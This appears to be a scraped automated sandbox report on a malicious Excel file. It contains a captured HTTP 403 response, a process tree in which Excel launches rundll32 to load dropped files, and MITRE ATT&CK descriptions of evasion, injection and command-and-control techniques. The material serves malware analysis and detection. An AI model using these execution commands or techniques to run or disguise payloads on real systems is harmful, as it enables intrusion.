May 14, 2021 18:20:52.224764109 CEST	4	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 14 May 2021 16:20:52 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Code Manipulations

Statistics

CPU Usage

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Memory Usage

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High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2516 Parent PID: 584

General

Start time:	18:20:43
Start date:	14/05/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f130000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2452 Parent PID: 2516

General

Start time:	18:20:55
Start date:	14/05/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\lertio.cersw,DllRegisterServer
Imagebase:	0xffd20000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2472 Parent PID: 2516

General

Start time:	18:20:55
Start date:	14/05/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\lertio.cersw1,DllRegisterServer
Imagebase:	0xffd20000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 3068 Parent PID: 2516

General

Start time:	18:20:55
Start date:	14/05/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\lertio.cersw2,DllRegisterServer
Imagebase:	0xffd20000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Analysis Report a5c5a139_by_Libranalysis

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Signature Overview

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "a5c5a139_by_Libranalysis.xlsx"

Indicators

Macro 4.0 Code

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 2516 Parent PID: 584

General

Chronological Activities

Analysis Process: rundll32.exe PID: 2452 Parent PID: 2516

General

Chronological Activities